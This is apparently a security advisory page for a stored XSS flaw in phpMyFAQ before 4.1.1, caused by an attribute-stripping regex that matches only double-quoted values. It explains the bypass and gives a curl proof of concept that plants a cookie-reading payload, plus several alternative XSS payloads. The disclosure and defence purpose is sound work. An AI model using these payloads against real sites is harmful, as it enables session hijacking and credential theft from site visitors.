Medium

phpMyFAQ: Stored XSS via Regex Bypass in Filter::removeAttributes()

  • Disclosed: 01.04.2026
  • Updated: 11.10.2026 10:22

Summary

The sanitization pipeline for FAQ content is:

  1. Filter::filterVar($input, FILTER_SANITIZE_SPECIAL_CHARS) — encodes <, >, ", ', & to HTML entities
  2. html_entity_decode($input, ENT_QUOTES | ENT_HTML5) — decodes entities back to characters
  3. Filter::removeAttributes($input) — removes dangerous HTML attributes

The removeAttributes() regex at line 174 only matches attributes with double-quoted values:

php
preg_match_all(pattern: '/[a-z]+=".+"/iU', subject: $html, matches: $attributes);

This regex does NOT match:

  • Attributes with single quotes: onerror='alert(1)'
  • Attributes without quotes: onerror=alert(1)

An attacker can bypass sanitization by submitting FAQ content with unquoted or single-quoted event handler attributes.

Details

Affected File: phpmyfaq/src/phpMyFAQ/Filter.php, line 174

Sanitization flow for FAQ question field:

FaqController::create() lines 110, 145-149:

php
$question = Filter::filterVar($data->question, FILTER_SANITIZE_SPECIAL_CHARS);
// ...
->setQuestion(Filter::removeAttributes(html_entity_decode(
    (string) $question,
    ENT_QUOTES | ENT_HTML5,
    encoding: 'UTF-8',
)))

Template rendering: faq.twig line 36:

twig
<h2 class="mb-4 border-bottom">{{ question | raw }}</h2>

How the bypass works:

  1. Attacker submits: <img src=x onerror=alert(1)>
  2. After FILTER_SANITIZE_SPECIAL_CHARS: &lt;img src=x onerror=alert(1)&gt;
  3. After html_entity_decode(): <img src=x onerror=alert(1)>
  4. preg_match_all('/[a-z]+=".+"/iU', ...) runs:
    • The regex requires ="..." (double quotes)
    • onerror=alert(1) has NO quotes → NOT matched
    • src=x has NO quotes → NOT matched
    • No attributes are found for removal
  5. Output: <img src=x onerror=alert(1)> (XSS payload intact)
  6. Template renders with |raw: JavaScript executes in browser

Why double-quoted attributes are (partially) protected:

For <img src="x" onerror="alert(1)">:

  • The regex matches both src="x" and onerror="alert(1)"
  • src is in $keep → preserved
  • onerror is NOT in $keep → removed via str_replace()
  • Output: <img src="x"> (safe)

But this protection breaks with single quotes or no quotes.

PoC

Step 1: Create FAQ with XSS payload (requires authenticated admin):

bash
curl -X POST 'https://target.example.com/admin/api/faq/create' \
  -H 'Content-Type: application/json' \
  -H 'Cookie: PHPSESSID=admin_session' \
  -d '{
    "data": {
      "pmf-csrf-token": "valid_csrf_token",
      "question": "<img src=x onerror=alert(document.cookie)>",
      "answer": "Test answer",
      "lang": "en",
      "categories[]": 1,
      "active": "yes",
      "tags": "test",
      "keywords": "test",
      "author": "test",
      "email": "test@test.com"
    }
  }'

Step 2: XSS triggers on public FAQ page

Any user (including unauthenticated visitors) viewing the FAQ page triggers the XSS:

https://target.example.com/content/{categoryId}/{faqId}/{lang}/{slug}.html

The FAQ title is rendered with |raw in faq.twig line 36 without HtmlSanitizer processing (the processQuestion() method in FaqDisplayService only applies search highlighting, not cleanUpContent()).

Alternative payloads:

html
<img/src=x onerror=alert(1)>
<svg onload=alert(1)>
<details open ontoggle=alert(1)>

Impact

  • Public XSS: The XSS executes for ALL users viewing the FAQ page, not just admins.
  • Session hijacking: Steal session cookies of all users viewing the FAQ.
  • Phishing: Display fake login forms to steal credentials.
  • Worm propagation: Self-replicating XSS that creates new FAQs with the same payload.
  • Malware distribution: Redirect users to malicious sites.

Note: While planting the payload requires admin access, the XSS executes for all visitors (public-facing). This is not self-XSS.

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Composer package phpmyfaq/phpmyfaq < 4.1.1 4.1.1

References

CVSS score 6.1/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:N
Weakness (CWE)
CWE-79
Platform
Composer
Package
phpmyfaq/phpmyfaq
Disclosed
01.04.2026
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-cv2g-8cj8-vgc7 - CC BY 4.0

Vulnerability history: phpmyfaq/phpmyfaq

All published vulnerabilities of this package (Composer package), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (47) in the archive
Total entries
47
First → latest
10.2022 09.2026
Without a fix
2
Exploited in attacks
0

Severity breakdown

  • Critical 2
  • High 18
  • Medium 25
  • Low 2

Disclosures per year

  1. 2022: 1
  2. 2023: 0
  3. 2024: 11
  4. 2025: 3
  5. 2026: 32
Severity:
  1. High · 8.1 CVE-2026-56737 >= 3.2.0, < 4.1.6 4.1.6
  2. High · 7.5 CVE-2026-35672 < 4.1.3 4.1.3
  3. High · 8.8 CVE-2026-35671 < 4.1.3 4.1.3
  4. High · 7.6 CVE-2026-46367 >= 4.1.1, < 4.1.2 4.1.2
  5. phpMyFAQ: Stored XSS via Regex Bypass in Filter::removeAttributes() this entry
    Medium · 6.1 CVE-2026-34729 < 4.1.1 4.1.1
  6. High · 7.2 CVE-2024-28105 >= 3.2.5, < 3.2.6 3.2.6
  7. High · 8.8 CVE-2024-28107 >= 3.2.5, < 3.2.6 3.2.6
  8. High · 8.8 CVE-2024-27299 >= 3.2.5, < 3.2.6 3.2.6
Show more (1) Showing 20 of 21

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.